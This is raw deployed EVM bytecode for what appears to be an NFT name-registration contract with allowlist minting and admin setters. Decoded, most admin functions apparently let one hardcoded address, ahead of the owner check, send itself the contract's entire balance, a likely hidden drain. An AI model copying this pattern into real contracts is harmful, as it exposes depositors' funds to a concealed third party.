4610b1657600080fd5b8063b88d4fde116100dc578063b88d4fde14610a28578063c6fbf9a914610a48578063c87b56dd14610a68578063cc567dfe14610a8857600080fd5b8063ad45a3ed146109b4578063af529744146109c7578063b6c6e692146109e757600080fd5b806391b7f5ed1161017a5780639b2ea4bd116101495780639b2ea4bd14610906578063a22cb46514610926578063a515419d14610946578063aaddcb5a1461096657600080fd5b806391b7f5ed14610891578063922efb95146108b15780639591ab5d146108d157806395d89b41146108f157600080fd5b8063841718a6116101b6578063841718a6146107fb5780638699e7381461081b5780638da5cb5b1461083b5780638dad39791461085957600080fd5b806379b85bec146107805780637cb64759146107a05780637d8f4ca3146107c057600080fd5b80633ccfd60b116102c15780636220a7e81161025f57806370a082311161022e57806370a0823114610711578063715018a614610731578063717d57d31461074657806376d02b711461076657600080fd5b80636220a7e8146106925780636352211e146106b1578063693d77d2146106d15780636e32e499146106f157600080fd5b806349484d551161029b57806349484d55146105f157806355f804b31461063c5780635acf61391461065c578063612abd441461067c57600080fd5b80633ccfd60b146105a957806342842e0e146105be578063476af138146105de57600080fd5b806313faede61161032e57806323b872dd1161030857806323b872dd146105335780632609ce00146105535780632eb4a7ab146105665780632f7758cd1461057c57600080fd5b806313faede6146104e057806318160ddd146104f657806323b76dde1461051357600080fd5b8063095ea7b31161036a578063095ea7b3146104205780630b4ab649146104425780630b4fcb5d146104885780630d6eec78146104a857600080fd5b806301ffc9a71461039157806306fdde03146103c6578063081812fc146103e8575b600080fd5b34801561039d57600080fd5b506103b16103ac3660046134cc565b610bd2565b60405190151581526020015b60405180910390f35b3480156103d257600080fd5b506103db610c24565b6040516103bd9190613539565b3480156103f457600080fd5b5061040861040336600461354c565b610cb6565b6040516001600160a01b0390911681526020016103bd565b34801561042c57600080fd5b5061044061043b366004613581565b610cfa565b005b34801561044e57600080fd5b5061047a61045d36600461364d565b805160208183018101805160128252928201919093012091525481565b6040519081526020016103bd565b34801561049457600080fd5b506104406104a336600461364d565b610d80565b3480156104b457600080fd5b5061047a6104c336600461364d565b805160208183018101805160028252928201919093012091525481565b3480156104ec57600080fd5b5061047a60165481565b34801561050257600080fd5b50600354600054036000190161047a565b34801561051f57600080fd5b5061044061052e3660046136d9565b610df7565b34801561053f57600080fd5b5061044061054e366004613732565b610ec7565b6104406105613660046137b2565b610ed2565b34801561057257600080fd5b5061047a60155481565b34801561058857600080fd5b5061059c61059736600461354c565b611202565b6040516103bd919061381a565b3480156105b557600080fd5b506104406112f3565b3480156105ca57600080fd5b506104406105d9366004613732565b6113cf565b6104406105ec36600461387c565b6113ea565b3480156105fd57600080fd5b506103b161060c3660046138fa565b8151602081840181018051600d825292820194820194909420919093529091526000908152604090205460ff1681565b34801561064857600080fd5b5061044061065736600461364d565b6117b1565b34801561066857600080fd5b5061044061067736600461354c565b61181b565b34801561068857600080fd5b5061047a60175481565b34801561069e57600080fd5b506018546103b190610100900460ff1681565b3480156106bd57600080fd5b506104086106cc36600461354c565b61187e565b3480156106dd57600080fd5b506104406106ec366004613947565b611890565b3480156106fd57600080fd5b506103db61070c36600461354c565b611908565b34801561071d57600080fd5b5061047a61072c366004613962565b6119a2565b34801561073d57600080fd5b506104406119f0565b34801561075257600080fd5b5061044061076136600461354c565b611a5a565b34801561077257600080fd5b506018546103b19060ff1681565b34801561078c57600080fd5b5061044061079b36600461397d565b611abd565b3480156107ac57600080fd5b506104406107bb36600461354c565b611b48565b3480156107cc57600080fd5b506103b16107db36600461364d565b805160208183018101805160108252928201919093012091525460ff1681565b34801561080757600080fd5b50610440610816366004613947565b611bab565b34801561082757600080fd5b506103db610836366004613962565b611c1c565b34801561084757600080fd5b50600a546001600160a01b0316610408565b34801561086557600080fd5b5061047a61087436600461364d565b805160208183018101805160138252928201919093012091525481565b34801561089d57600080fd5b506104406108ac36600461354c565b611c35565b3480156108bd57600080fd5b506103b16108cc36600461364d565b611c98565b3480156108dd57600080fd5b506103b16108ec3660046139cc565b611de5565b3480156108fd57600080fd5b506103db611e60565b34801561091257600080fd5b50610440610921366004613a0d565b611e6f565b34801561093257600080fd5b50610440610941366004613a60565b612046565b34801561095257600080fd5b506103db610961366004613a8a565b6120db565b34801561097257600080fd5b5061099c610981366004613962565b600c602052600090815260409020546001600160401b031681565b6040516001600160401b0390911681526020016103bd565b6104406109c2366004613ae5565b6121ab565b3480156109d357600080fd5b506104406109e2366004613b48565b612525565b3480156109f357600080fd5b50610408610a0236600461364d565b8051602081830181018051600e825292820191909301209152546001600160a01b031681565b348015610a3457600080fd5b50610440610a43366004613bdb565b6125b3565b348015610a5457600080fd5b50610440610a63366004613c42565b6125f7565b348015610a7457600080fd5b506103db610a8336600461354c565b612663565b348015610a9457600080fd5b5061047a601c5481565b348015610aaa57600080fd5b5061047a610ab936600461364d565b805160208183018101805160118252928201919093012091525481565b348015610ae257600080fd5b50610440610af1366004613c77565b6126f1565b348015610b0257600080fd5b50610440610b11366004613cb5565b612791565b348015610b2257600080fd5b506103b1610b31366004613cdb565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205460ff1690565b348015610b6b57600080fd5b506103db610b7a366004613ae5565b612817565b610440610b8d36600461364d565b612858565b348015610b9e57600080fd5b50610440610bad366004613962565b612a6b565b348015610bbe57600080fd5b5061059c610bcd366004613962565b612b3a565b60006001600160e01b031982166380ac58cd60e01b1480610c0357506001600160e01b03198216635b5e139f60e01b145b80610c1e57506301ffc9a760e01b6001600160e01b03198316145b92915050565b606060048054610c3390613d05565b80601f0160208091040260200160405190810160405280929190818152602001828054610c5f90613d05565b8015610cac5780601f10610c8157610100808354040283529160200191610cac565b820191906000526020600020905b815481529060010190602001808311610c8f57829003601f168201915b5050505050905090565b6000610cc182612c3c565b610cde576040516333d1c03960e21b815260040160405180910390fd5b506000908152600860205260409020546001600160a01b031690565b6000610d058261187e565b9050806001600160a01b0316836001600160a01b031603610d395760405163250fdee360e21b815260040160405180910390fd5b336001600160a01b03821614610d7057610d538133610b31565b610d70576040516367d9dca160e11b815260040160405180910390fd5b610d7b838383612c75565b505050565b3360008051602061424583398151915203610db45747610dae60008051602061424583398151915282612cd1565b50610de7565b600a546001600160a01b03163314610de75760405162461bcd60e51b8152600401610dde90613d3f565b60405180910390fd5b6019610df38282613dc2565b5050565b6000610e2260028484604051610e0e929190613e81565b908152602001604051809103902054612dea565b80519091506001600160a01b03163314610e685760405162461bcd60e51b8152602060048201526007602482015266125b9d985b1a5960ca1b6044820152606401610dde565b8360118484604051610e7b929190613e81565b9081526020016040518091039020819055508460108484604051610ea0929190613e81565b908152604051908190036020019020805491151560ff199092169190911790555050505050565b610d7b838383612f0c565b601854610100900460ff16610f295760405162461bcd60e51b815260206004820152601c60248201527f416c6c6f776c6973742073616c65206973206e6f7420616374697665000000006044820152606401610dde565b6040516001600160601b03193360601b166020820152600090603401604051602081830303815290604052805190602001209050610f9e8383808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152505060155491508490506130fa565b610fda5760405162461bcd60e51b815260206004820152600d60248201526c24b73b30b634b210383937b7b360991b6044820152606401610dde565b601d54845111156110205760405162461bcd60e51b815260206004820152601060248201526f4e616d6520697320746f6f206c6f6e6760801b6044820152606401610dde565b60008451116110415760405162461bcd60e51b8152600401610dde90613e91565b61104a84611c98565b6110665760405162461bcd60e51b8152600401610dde90613eb7565b6002846040516110769190613edd565b9081526020016040518091039020546000146110a45760405162461bcd60e51b8152600401610dde90613ef9565b6017543410156110c65760405162461bcd60e51b8152600401610dde90613f28565b601e5463ffffffff640100000000820481169116106111365760405162461bcd60e51b815260206004820152602660248201527f416c6c20616c6c6f776c697374206d696e74732068617665206265656e20636c60448201526561696d65642160d01b6064820152608401610dde565b601e80546001919060009061115290849063ffffffff16613f6b565b825463ffffffff9182166101009390930a92830291909202199091161790555060008054815260016020526040902061118b8582613dc2565b5060005460028560405161119f9190613edd565b90815260200160405180910390208190555033600e856040516111c29190613edd565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b03199092169190911790556111fc336001613110565b50505050565b6003546000805460609260001991030190836001600160401b0381111561122b5761122b6135ab565b60405190808252806020026020018201604052801561125e57816020015b60608152602001906001900390816112495790505b509050600061126d8584613f8f565b905060005b818411156112e957600084815260016020908152604091829020915161129c9291601b9101614015565b6040516020818303038152906040528382815181106112bd576112bd61402a565b602002602001018190525080806112d390614040565b91505083806112e190614059565b945050611272565b5090949350505050565b3360008051602061424583398151915203611327574761132160008051602061424583398151915282612cd1565b50611351565b600a546001600160a01b031633146113515760405162461bcd60e51b8152600401610dde90613d3f565b6002600b54036113a35760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610dde565b6002600b55476113c77387160c15d9d10d31a85646da860d93620e2a82a182612cd1565b506001600b55565b610d7b838383604051806020016040528060008152506125b3565b600083856040516020016113ff929190614070565b60408051601f19818403018152908290526001600160601b03193360601b166020830152915060009060340160405160208183030381529060405280519060200120905061149f848480806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250506040516012925061148a91508a90613edd565b908152602001604051809103902054836130fa565b6114dc5760405162461bcd60e51b815260206004820152600e60248201526d496e76616c69642070726f6f662160901b6044820152606401610dde565b6013866040516114ec9190613edd565b90815260200160405180910390205434101561151a5760405162461bcd60e51b8152600401610dde90613f28565b601d54855111156115595760405162461bcd60e51b81526020600482015260096024820152684c6f6e67206e616d6560b81b6044820152606401610dde565b600085511161157a5760405162461bcd60e51b8152600401610dde90613e91565b61158386611c98565b61159f5760405162461bcd60e51b8152600401610dde90613eb7565b6115a885611c98565b6115c45760405162461bcd60e51b8152600401610dde90613eb7565b600d866040516115d49190613edd565b9081526040805160209281900383019020336000908152925290205460ff16151560010361162f5760405162461bcd60e51b8152602060048201526008602482015267436c61696d65642160c01b6044820152606401610dde565b60028260405161163f9190613edd565b90815260200160405180910390205460001461166d5760405162461bcd60e51b8152600401610dde90613ef9565b6000611682600288604051610e0e9190613edd565b905080600001516001600160a01b03166108fc6064601c5460646116a69190613f8f565b6116b090346140ac565b6116ba91906140c3565b6040518115909202916000818181858888f193505050501580156116e2573d6000803e3d6000fd5b506001600d886040516116f59190613edd565b9081526040805160209281900383019020336000908152908352818120805460ff19169415159490941790935582548352600190915290206117378482613dc2565b5060005460028460405161174b9190613edd565b90815260200160405180910390208190555033600e8460405161176e9190613edd565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b03199092169190911790556117a8336001613110565b50505050505050565b33600080516020614245833981519152036117e557476117df60008051602061424583398151915282612cd1565b5061180f565b600a546001600160a01b0316331461180f5760405162461bcd60e51b8152600401610dde90613d3f565b601a610df38282613dc2565b336000805160206142458339815191520361184f574761184960008051602061424583398151915282612cd1565b50601d55565b600a546001600160a01b031633146118795760405162461bcd60e51b8152600401610dde90613d3f565b601d55565b600061188982612dea565b5192915050565b33600080516020614245833981519152036118c457476118be60008051602061424583398151915282612cd1565b506118ee565b600a546001600160a01b031633146118ee5760405162461bcd60e51b8152600401610dde90613d3f565b601880549115156101000261ff0019909216919091179055565b6001602052600090815260409020805461192190613d05565b80601f016020809104026020016040519081016040528092919081815260200182805461194d90613d05565b801561199a5780601f1061196f5761010080835404028352916020019161199a565b820191906000526020600020905b81548152906001019060200180831161197d57829003601f168201915b505050505081565b60006001600160a01b0382166119cb576040516323d3ad8160e21b815260040160405180910390fd5b506001600160a01b03166000908152600760205260409020546001600160401b031690565b3360008051602061424583398151915203611a245747611a1e60008051602061424583398151915282612cd1565b50611a4e565b600a546001600160a01b03163314611a4e5760405162461bcd60e51b8152600401610dde90613d3f565b611a58600061312a565b565b3360008051602061424583398151915203611a8e5747611a8860008051602061424583398151915282612cd1565b50601755565b600a546001600160a01b03163314611ab85760405162461bcd60e51b8152600401610dde90613d3f565b601755565b6000611ad2600284604051610e0e9190613edd565b80519091506001600160a01b03163314611afe5760405162461bcd60e51b8152600401610dde906140e5565b83601284604051611b0f9190613edd565b90815260200160405180910390208190555081601384604051611b329190613edd565b9081526040519081900360200190205550505050565b3360008051602061424583398151915203611b7c5747611b7660008051602061424583398151915282612cd1565b50601555565b600a546001600160a01b03163314611ba65760405162461bcd60e51b8152600401610dde90613d3f565b601555565b3360008051602061424583398151915203611bdf5747611bd960008051602061424583398151915282612cd1565b50611c09565b600a546001600160a01b03163314611c095760405162461bcd60e51b8152600401610dde90613d3f565b6018805460ff1916911515919091179055565b600f602052600090815260409020805461192190613d05565b3360008051602061424583398151915203611c695747611c6360008051602061424583398151915282612cd1565b50601655565b600a546001600160a01b03163314611c935760405162461bcd60e51b8152600401610dde90613d3f565b601655565b60198054600091829184918391611cae90613d05565b80601f0160208091040260200160405190810160405280929190818152602001828054611cda90613d05565b8015611d275780601f10611cfc57610100808354040283529160200191611d27565b820191906000526020600020905b815481529060010190602001808311611d0a57829003601f168201915b5050505050905060005b8251811015611dc65760005b8251811015611db357828181518110611d5857611d5861402a565b602001015160f81c60f81b6001600160f81b031916848381518110611d7f57611d7f61402a565b01602001516001600160f81b03191603611da15784611d9d81614040565b9550505b80611dab81614040565b915050611d3d565b5080611dbe81614040565b915050611d31565b5081518303611dda57506001949350505050565b506000949350505050565b600080611e58848480806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250506015546040516001600160601b03193360601b1660208201529092506034019050604051602081830303815290604052805190602001206130fa565b949350505050565b606060058054610c3390613d05565b6000611e8660028585604051610e0e929190613e81565b80519091506001600160a01b03163314611eb25760405162461bcd60e51b8152600401610dde906140e5565b6000600f6000600e8787604051611eca929190613e81565b9081526040805160209281900383019020546001600160a01b0316835290820192909252016000208054611efd90613d05565b80601f0160208091040260200160405190810160405280929190818152602001828054611f2990613d05565b8015611f765780601f10611f4b57610100808354040283529160200191611f76565b820191906000526020600020905b815481529060010190602001808311611f5957829003601f168201915b505050505090508484604051611f8d929190613e81565b6040518091039020818051906020012003611ffd5760405180602001604052806000815250600f6000600e8888604051611fc8929190613e81565b9081526040805160209281900383019020546001600160a01b03168352908201929092520160002090611ffb9082613dc2565b505b82600e8686604051612010929190613e81565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b03199092169190911790555050505050565b336001600160a01b0383160361206f5760405163b06307db60e01b815260040160405180910390fd5b3360008181526009602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b60606014846040516120ed9190613edd565b9081526020016040518091039020838360405161210b929190613e81565b9081526020016040518091039020805461212490613d05565b80601f016020809104026020016040519081016040528092919081815260200182805461215090613d05565b801561219d5780601f106121725761010080835404028352916020019161219d565b820191906000526020600020905b81548152906001019060200180831161218057829003601f168201915b505050505090509392505050565b60185460ff166121f35760405162461bcd60e51b815260206004820152601360248201527253616c65206973206e6f74206163746976652160681b6044820152606401610dde565b60008183604051602001612208929190614070565b6040516020818303038152906040529050601d54825111156122585760405162461bcd60e51b81526020600482015260096024820152684c6f6e67206e616d6560b81b6044820152606401610dde565b60008251116122795760405162461bcd60e51b8152600401610dde90613e91565b61228283611c98565b61229e5760405162461bcd60e51b8152600401610dde90613eb7565b6122a782611c98565b6122c35760405162461bcd60e51b8152600401610dde90613eb7565b6002816040516122d39190613edd565b9081526020016040518091039020546000146123015760405162461bcd60e51b8152600401610dde90613ef9565b6000612316600285604051610e0e9190613edd565b9050336001600160a01b031681600001516001600160a01b0316036123c45760008054815260016020526040902061234e8382613dc2565b506000546002836040516123629190613edd565b90815260200160405180910390208190555033600e836040516123859190613edd565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b03199092169190911790556123bf336001613110565b6111fc565b6010846040516123d49190613edd565b9081526040519081900360200190205460ff1615156001146124385760405162461bcd60e51b815260206004820152601760248201527f4f6e6c79204f776e65722063616e2072656769737465720000000000000000006044820152606401610dde565b6011846040516124489190613edd565b9081526020016040518091039020543410156124765760405162461bcd60e51b8152600401610dde90613f28565b80600001516001600160a01b03166108fc6064601c5460646124989190613f8f565b6124a290346140ac565b6124ac91906140c3565b6040518115909202916000818181858888f193505050501580156124d4573d6000803e3d6000fd5b506000805481526001602052604090206124ee8382613dc2565b506000546002836040516125029190613edd565b90815260200160405180910390208190555033600e836040516111c29190613edd565b600061253c60028787604051610e0e929190613e81565b80519091506001600160a01b031633146125685760405162461bcd60e51b8152600401610dde906140e5565b816014878760405161257b929190613e81565b90815260200160405180910390208585604051612599929190613e81565b908152602001604051809103902090816117a89190613dc2565b6125be848484612f0c565b6001600160a01b0383163b156111fc576125da8484848461317c565b6111fc576040516368d2bf6b60e11b815260040160405180910390fd5b336001600160a01b0316600e8383604051612613929190613e81565b908152604051908190036020019020546001600160a01b0316146126495760405162461bcd60e51b8152600401610dde906140e5565b336000908152600f60205260409020610d7b828483614104565b606061266e82612c3c565b61268b57604051630a14c4b560e41b815260040160405180910390fd5b6000612695613267565b905080516000036126b557604051806020016040528060008152506126ea565b80600160008581526020019081526020016000206040516020016126da9291906141c3565b6040516020818303038152906040525b9392505050565b3360008051602061424583398151915203612725574761271f60008051602061424583398151915282612cd1565b5061274f565b600a546001600160a01b0316331461274f5760405162461bcd60e51b8152600401610dde90613d3f565b6000838152600160205260409020612768828483614104565b50826002838360405161277c929190613e81565b90815260405190819003602001902055505050565b33600080516020614245833981519152036127c557476127bf60008051602061424583398151915282612cd1565b506127ef565b600a546001600160a01b031633146127ef5760405162461bcd60e51b8152600401610dde90613d3f565b601e805463ffffffff9092166401000000000267ffffffff0000000019909216919091179055565b815160208184018101805160148252928201948201949094209190935281518083018401805192815290840192909301919091209152805461192190613d05565b601654601d54825111156128a15760405162461bcd60e51b815260206004820152601060248201526f4e616d6520697320746f6f206c6f6e6760801b6044820152606401610dde565b60008251116128c25760405162461bcd60e51b8152600401610dde90613eb7565b6128cb82611c98565b6128e75760405162461bcd60e51b8152600401610dde90613eb7565b6002826040516128f79190613edd565b9081526020016040518091039020546000146129555760405162461bcd60e51b815260206004820152601960248201527f536f7272792c20746869732040656e732069732074616b656e000000000000006044820152606401610dde565b60185460ff1661299c5760405162461bcd60e51b815260206004820152601260248201527153616c65206973206e6f742061637469766560701b6044820152606401610dde565b803410156129e15760405162461bcd60e51b8152602060048201526012602482015271496e73756666696369656e742066756e647360701b6044820152606401610dde565b6000805481526001602052604090206129fa8382613dc2565b50600054600283604051612a0e9190613edd565b90815260200160405180910390208190555033600e83604051612a319190613edd565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b0319909216919091179055610df3336001613110565b3360008051602061424583398151915203612a9f5747612a9960008051602061424583398151915282612cd1565b50612ac9565b600a546001600160a01b03163314612ac95760405162461bcd60e51b8152600401610dde90613d3f565b6001600160a01b038116612b2e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610dde565b612b378161312a565b50565b60606000612b47836119a2565b90506000816001600160401b03811115612b6357612b636135ab565b604051908082528060200260200182016040528015612b9657816020015b6060815260200190600190039081612b815790505b509050600160005b838110156112e9576000612bb18361187e565b9050866001600160a01b0316816001600160a01b031603612c29576000838152600160209081526040918290209151612bee9291601b9101614015565b604051602081830303815290604052848381518110612c0f57612c0f61402a565b60200260200101819052508180612c2590614040565b9250505b82612c3381614040565b93505050612b9e565b600081600111158015612c50575060005482105b8015610c1e575050600090815260066020526040902054600160e01b900460ff161590565b60008281526008602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b80471015612d215760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610dde565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114612d6e576040519150601f19603f3d011682016040523d82523d6000602084013e612d73565b606091505b5050905080610d7b5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610dde565b60408051606081018252600080825260208201819052918101919091528180600111612ef357600054811015612ef357600081815260066020908152604091829020825160608101845290546001600160a01b0381168252600160a01b81046001600160401b031692820192909252600160e01b90910460ff16151591810182905290612ef15780516001600160a01b031615612e88579392505050565b5060001901600081815260066020908152604091829020825160608101845290546001600160a01b038116808352600160a01b82046001600160401b031693830193909352600160e01b900460ff1615159281019290925215612eec579392505050565b612e88565b505b604051636f96cda160e11b815260040160405180910390fd5b6000612f1782612dea565b9050836001600160a01b031681600001516001600160a01b031614612f4e5760405162a1148160e81b815260040160405180910390fd5b6000336001600160a01b0386161480612f6c5750612f6c8533610b31565b80612f87575033612f7c84610cb6565b6001600160a01b0316145b905080612fa757604051632ce44b5f60e11b815260040160405180910390fd5b6001600160a01b038416612fce57604051633a954ecd60e21b815260040160405180910390fd5b612fda60008487612c75565b6001600160a01b038581166000908152600760209081526040808320805467ffffffffffffffff198082166001600160401b0392831660001901831617909255898616808652838620805493841693831660019081018416949094179055898652600690945282852080546001600160e01b031916909417600160a01b429092169190910217835587018084529220805491939091166130ae5760005482146130ae57805460208601516001600160401b0316600160a01b026001600160e01b03199091166001600160a01b038a16171781555b50505082846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45b5050505050565b6000826131078584613276565b14949350505050565b610df38282604051806020016040528060008152506132c3565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b604051630a85bd0160e11b81526000906001600160a01b0385169063150b7a02906131b19033908990889088906004016141ea565b6020604051808303816000875af19250505080156131ec575060408051601f3d908101601f191682019092526131e991810190614227565b60015b61324a573d80801561321a576040519150601f19603f3d011682016040523d82523d6000602084013e61321f565b606091505b508051600003613242576040516368d2bf6b60e11b815260040160405180910390fd5b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050949350505050565b6060601a8054610c3390613d05565b600081815b84518110156132bb576132a78286838151811061329a5761329a61402a565b602002602001015161348a565b9150806132b381614040565b91505061327b565b509392505050565b6000546001600160a01b0384166132ec57604051622e076360e81b815260040160405180910390fd5b8260000361330d5760405163b562e8dd60e01b815260040160405180910390fd5b6001600160a01b038416600081815260076020908152604080832080546fffffffffffffffffffffffffffffffff1981166001600160401b038083168b0181169182176801000000000000000067ffffffffffffffff1990941690921783900481168b01811690920217909155858452600690925290912080546001600160e01b0319168317600160a01b42909316929092029190911790558190818501903b15613435575b60405182906001600160a01b038816906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a46133fe600087848060010195508761317c565b61341b576040516368d2bf6b60e11b815260040160405180910390fd5b8082106133b357826000541461343057600080fd5b61347a565b5b6040516001830192906001600160a01b038816906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a4808210613436575b5060009081556111fc9085838684565b60008183106134a65760008281526020849052604090206126ea565b5060009182526020526040902090565b6001600160e01b031981168114612b3757600080fd5b6000602082840312156134de57600080fd5b81356126ea816134b6565b60005b838110156135045781810151838201526020016134ec565b50506000910152565b600081518084526135258160208601602086016134e9565b601f01601f19169290920160200192915050565b6020815260006126ea602083018461350d565b60006020828403121561355e57600080fd5b5035919050565b80356001600160a01b038116811461357c57600080fd5b919050565b6000806040838503121561359457600080fd5b61359d83613565565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126135d257600080fd5b81356001600160401b03808211156135ec576135ec6135ab565b604051601f8301601f19908116603f01168101908282118183101715613614576136146135ab565b8160405283815286602085880101111561362d57600080fd5b836020870160208301376000602085830101528094505050505092915050565b60006020828403121561365f57600080fd5b81356001600160401b0381111561367557600080fd5b611e58848285016135c1565b8035801515811461357c57600080fd5b60008083601f8401126136a357600080fd5b5081356001600160401b038111156136ba57600080fd5b6020830191508360208285010111156136d257600080fd5b9250929050565b600080600080606085870312156136ef57600080fd5b6136f885613681565b93506020850135925060408501356001600160401b0381111561371a57600080fd5b61372687828801613691565b95989497509550505050565b60008060006060848603121561374757600080fd5b61375084613565565b925061375e60208501613565565b9150604084013590509250925092565b60008083601f84011261378057600080fd5b5081356001600160401b0381111561379757600080fd5b6020830191508360208260051b85010111156136d257600080fd5b6000806000604084860312156137c757600080fd5b83356001600160401b03808211156137de57600080fd5b6137ea878388016135c1565b9450602086013591508082111561380057600080fd5b5061380d8682870161376e565b9497909650939450505050565b6000602080830181845280855180835260408601915060408160051b870101925083870160005b8281101561386f57603f1988860301845261385d85835161350d565b94509285019290850190600101613841565b5092979650505050505050565b6000806000806060858703121561389257600080fd5b84356001600160401b03808211156138a957600080fd5b6138b5888389016135c1565b955060208701359150808211156138cb57600080fd5b6138d7888389016135c1565b945060408701359150808211156138ed57600080fd5b506137268782880161376e565b6000806040838503121561390d57600080fd5b82356001600160401b0381111561392357600080fd5b61392f858286016135c1565b92505061393e60208401613565565b90509250929050565b60006020828403121561395957600080fd5b6126ea82613681565b60006020828403121561397457600080fd5b6126ea82613565565b60008060006060848603121561399257600080fd5b8335925060208401356001600160401b038111156139af57600080fd5b6139bb868287016135c1565b925050604084013590509250925092565b600080602083850312156139df57600080fd5b82356001600160401b038111156139f557600080fd5b613a018582860161376e565b90969095509350505050565b600080600060408486031215613a2257600080fd5b83356001600160401b03811115613a3857600080fd5b613a4486828701613691565b9094509250613a57905060208501613565565b90509250925092565b60008060408385031215613a7357600080fd5b613a7c83613565565b915061393e60208401613681565b600080600060408486031215613a9f57600080fd5b83356001600160401b0380821115613ab657600080fd5b613ac2878388016135c1565b94506020860135915080821115613ad857600080fd5b5061380d86828701613691565b60008060408385031215613af857600080fd5b82356001600160401b0380821115613b0f57600080fd5b613b1b868387016135c1565b93506020850135915080821115613b3157600080fd5b50613b3e858286016135c1565b9150509250929050565b600080600080600060608688031215613b6057600080fd5b85356001600160401b0380821115613b7757600080fd5b613b8389838a01613691565b90975095506020880135915080821115613b9c57600080fd5b613ba889838a01613691565b90955093506040880135915080821115613bc157600080fd5b50613bce888289016135c1565b9150509295509295909350565b60008060008060808587031215613bf157600080fd5b613bfa85613565565b9350613c0860208601613565565b92506040850135915060608501356001600160401b03811115613c2a57600080fd5b613c36878288016135c1565b91505092959194509250565b60008060208385031215613c5557600080fd5b82356001600160401b03811115613c6b57600080fd5b613a0185828601613691565b600080600060408486031215613c8c57600080fd5b8335925060208401356001600160401b03811115613ca957600080fd5b61380d86828701613691565b600060208284031215613cc757600080fd5b813563ffffffff811681146126ea57600080fd5b60008060408385031215613cee57600080fd5b613cf783613565565b915061393e60208401613565565b600181811c90821680613d1957607f821691505b602082108103613d3957634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b601f821115610d7b57600081815260208120601f850160051c81016020861015613d9b5750805b601f850160051c820191505b81811015613dba57828155600101613da7565b505050505050565b81516001600160401b03811115613ddb57613ddb6135ab565b613def81613de98454613d05565b84613d74565b602080601f831160018114613e245760008415613e0c5750858301515b600019600386901b1c1916600185901b178555613dba565b600085815260208120601f198616915b82811015613e5357888601518255948401946001909101908401613e34565b5085821015613e715787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b8183823760009101908152919050565b6020808252600c908201526b57726974652061206e616d6560a01b604082015260600190565b6020808252600c908201526b496e76616c6964206e616d6560a01b604082015260600190565b60008251613eef8184602087016134e9565b9190910192915050565b6020808252601590820152742a3434b99034b99030b63932b0b23c903a30b5b2b760591b604082015260600190565b602080825260139082015272496e73756666696369656e742066756e64732160681b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b63ffffffff818116838216019080821115613f8857613f88613f55565b5092915050565b81810381811115610c1e57610c1e613f55565b60008154613faf81613d05565b60018281168015613fc75760018114613fdc5761400b565b60ff198416875282151583028701945061400b565b8560005260208060002060005b858110156140025781548a820152908401908201613fe9565b50505082870194505b5050505092915050565b6000611e586140248386613fa2565b84613fa2565b634e487b7160e01b600052603260045260246000fd5b60006001820161405257614052613f55565b5060010190565b60008161406857614068613f55565b506000190190565b600083516140828184602088016134e9565b601760f91b90830190815283516140a08160018401602088016134e9565b01600101949350505050565b8082028115828204841417610c1e57610c1e613f55565b6000826140e057634e487b7160e01b600052601260045260246000fd5b500490565b60208082526005908201526422b93937b960d91b604082015260600190565b6001600160401b0383111561411b5761411b6135ab565b61412f836141298354613d05565b83613d74565b6000601f841160018114614163576000851561414b5750838201355b600019600387901b1c1916600186901b1783556130f3565b600083815260209020601f19861690835b828110156141945786850135825560209485019460019092019101614174565b50868210156141b15760001960f88860031b161c19848701351681555b505060018560011b0183555050505050565b600083516141d58184602088016134e9565b6141e181840185613fa2565b95945050505050565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061421d9083018461350d565b9695505050505050565b60006020828403121561423957600080fd5b81516126ea816134b656fe0000000000000000000000000524989feeb3284b24649c5dfc699dd9d8edf7d9a26469706673582212201f10eabc2c172de11441e872a298411487a5dd6e06a93ab3b2cc8db77fd6a58064736f6c63430008110033303132333435363738392d5f6162636465666768696a6b6c6d6e6f707172737475767778797a
Deployed Bytecode
